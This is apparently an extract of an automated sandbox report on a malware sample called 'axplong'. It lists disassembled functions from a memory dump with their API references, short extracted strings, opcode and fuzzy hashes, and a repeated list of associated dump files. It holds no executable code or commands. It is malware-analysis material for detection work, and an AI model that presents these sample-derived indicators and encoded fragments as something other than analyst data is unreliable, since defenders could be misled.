WGt=, xrefs: 002BF62D, 002BF90A
MT==, xrefs: 002BE4A5
UD==, xrefs: 002BEA1F, 002BEC66

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$GqKudSO2$MJB+$MT==$UD==$WGt=$WWp=$d41$fed3aa
API String ID: 0-1572351859
Opcode ID: 60987ed3c43b6ef349bbe478194cf588d0572cb335ea0db518c38c7b9c24a147
Instruction ID: ed4a359b183aa374055775cac8d775301308f7b71e02734b66416781bf5c0a0e
Opcode Fuzzy Hash: 60987ed3c43b6ef349bbe478194cf588d0572cb335ea0db518c38c7b9c24a147
Instruction Fuzzy Hash: 44720570924248DBEF14EF68C949BDDBFB6AB05304F50829CE805673C2C7759A98CF92

Function 002F3068 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 002F31E3

Strings

1#INF, xrefs: 002F439E
1#QNAN, xrefs: 002F4381
1#SNAN, xrefs: 002F437A
1#IND, xrefs: 002F4373

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: e32e4cd19ec27a79b0b89221c3da5ec00b0efa445cd13859096d89eda5a74c58
Instruction ID: 1aff3f509aa85dee59d6f0917baa7a5e0d1e73277655baaf3f0a5e9be00527c8
Opcode Fuzzy Hash: e32e4cd19ec27a79b0b89221c3da5ec00b0efa445cd13859096d89eda5a74c58
Instruction Fuzzy Hash: B7C22971E2462D8BDB25DE28DD407EAF3B9EB48384F1441EAD94DE7240E774AE918F40

Function 002F2BD0 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction ID: 6084d1705f2f2afc09b5893a608830756f05eb1214a4a8bc0b54b0d9a0ac1864
Opcode Fuzzy Hash: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction Fuzzy Hash: 94F15D71E1021ADBDF14CFA8C8806AEF7B1FF49354F25826AD919AB344D730AE15CB90

Function 002CD312 Relevance: 2.7, Strings: 2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 002B247E

Strings

'k,d+1, xrefs: 002CD324, 002CDCA4
'k,d+1, xrefs: 002CDCEC

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: 'k,d+1$'k,d+1
API String ID: 2659868963-3369981402
Opcode ID: 89fce1ea59fe18c1db8b59d3c89f81203d3542b21f74a3292cd744fc338be645
Instruction ID: b44de3aec6609fced87af0b83803e5b46e2bf45ea52a28f179908bdf541fea51
Opcode Fuzzy Hash: 89fce1ea59fe18c1db8b59d3c89f81203d3542b21f74a3292cd744fc338be645
Instruction Fuzzy Hash: AB5189B2E20606CBDB16CF59D881BAAB7F9FF48310F24866AD405EB254D7709960CF50

Function 002CCB1A Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,002CCE82,?,?,?,?,002CCEB7,?,?,?,?,?,?,002CC42D,?,00000001), ref: 002CCB33

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 2cf0e28ebcfea305b8294476e693018bff6071078231e9ec719c4faf7a938215
Instruction ID: 805dc3d66ab43abc53d8c00eefc0c319beddee371594e66e39e6d649165127d4
Opcode Fuzzy Hash: 2cf0e28ebcfea305b8294476e693018bff6071078231e9ec719c4faf7a938215
Instruction Fuzzy Hash: 09D0223252303CD3CA062FD0BC05EACBB0D8A04B18B984256E80D33120CE516C105BD0

Function 002E7D83 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 002E7EFF

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 52a80abeeb14b1af58f5d260799b931eaf14e241b2e5fb0283ea146b3a341b79
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 9051A8302FC6CA56DB388E3B88953BE679A9F43300FD80559D482C7A82DB519D349352

Function 002B4CF0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2696f9cf99d7da95f535fa43a37144db77be026736458c9b25a16ca5a088edf
Instruction ID: 4230764e4b4185060c40108e43144b370fba3b958701b3c57bf79fe2c59bfb5e
Opcode Fuzzy Hash: d2696f9cf99d7da95f535fa43a37144db77be026736458c9b25a16ca5a088edf
Instruction Fuzzy Hash: 39224EB3F515144BDB4CCB9DDCA27EDB2E3AFD8214B0E803DA40AE3345EA79D9158648

Function 002F6F09 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6578423f5c241e72c582e6e14e340fb18ca8ceecb2328b7973a34444ba5c53e7
Instruction ID: 11e5a9ca38b9f9b41ec4dad49d17d4f65dd4dc0231f6539160fa662ef188bc80
Opcode Fuzzy Hash: 6578423f5c241e72c582e6e14e340fb18ca8ceecb2328b7973a34444ba5c53e7
Instruction Fuzzy Hash: 7EB16C31224609DFD715CF28C486B65BBA0FF453A4F25866CE99ACF2A1C735E9A1CB40

Function 002B4AF0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b145cb61db71daad2c480785143f8456a64c815c873c1348c19d28cd6e0dcb4
Instruction ID: 18545a4bdae47e25f7c1ab71469cacda8815f264ec54388b2b77ca8074cb3381
Opcode Fuzzy Hash: 6b145cb61db71daad2c480785143f8456a64c815c873c1348c19d28cd6e0dcb4
Instruction Fuzzy Hash: 4651B17061D3928FC319CF2D912563AFFE1AF95340F084A9EE0D687292D774DA58CB91

Function 002F777B Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b69236aca418db36fa01f707a980880002a552e952bc09fdf9a656d075a39171
Instruction ID: 6bb191a3cd7d875b58ca9a4ded832cfedfeecaf146d8ea8f313fbb0d8aa3131f
Opcode Fuzzy Hash: b69236aca418db36fa01f707a980880002a552e952bc09fdf9a656d075a39171
Instruction Fuzzy Hash: 6D21B673F204394B770CC57E8C572BDB6E1C68C641745823AE8A6EA2C1D968D917E2E4

Function 002F765B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd6efc6488ce40042c1194a6ef289ad2982a858311c4c9cfa6597641f468eef5
Instruction ID: cfa2993f61527981b807243ff254386e7b7a56ee8f291b8892543f8ab3ad5f8d
Opcode Fuzzy Hash: dd6efc6488ce40042c1194a6ef289ad2982a858311c4c9cfa6597641f468eef5
Instruction Fuzzy Hash: 2C118A23F30C295B675C817D8C172BAA5D6DBDC25071F533AD826E7384E994DE23D290

Function 002F8720 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 4f4c8a1a114bdc4c80f52a237bda1326f6f0e38566447ce6b73f7ae1977b448a
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: C111387F22014B43D604AE2DC8F4BBBE796EAC53A1B3C437AC3414B758DA229964D900

Function 002E645B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2fff4213254930ed00e7ed228dbaec84f54ae4095a2e15fad1c258fa6de72d8
Instruction ID: 5eb10265fc2b1fa3c80d809dda812d5f0d13a51609296143dcfd94e22996ca78
Opcode Fuzzy Hash: d2fff4213254930ed00e7ed228dbaec84f54ae4095a2e15fad1c258fa6de72d8
Instruction Fuzzy Hash: 85E086301916886FDF35BF16C85CD483B5BEB62384F448404F81456261CB35FD91DD80

Function 002EA1C2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: d5eb46ba91d1184ebeb8a36cbb1aba8cea0ec013de4ed668b68b9cd168eebcce
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: BCE08C32965268EBCB15DBC9C904D8AF3ECEB48B10F958096F505D7240C2B0EF00CBD0

Function 002C7870 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 123COMMON

Download Yara Rule

APIs

__Cnd_unregister_at_thread_exit.LIBCPMT ref: 002C795C
__Cnd_destroy_in_situ.LIBCPMT ref: 002C7968
__Mtx_destroy_in_situ.LIBCPMT ref: 002C7971

Strings

d+1, xrefs: 002C7904, 002C7912, 002C790A
@y,, xrefs: 002C794A
'k,d+1, xrefs: 002C7879, 002C790B

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

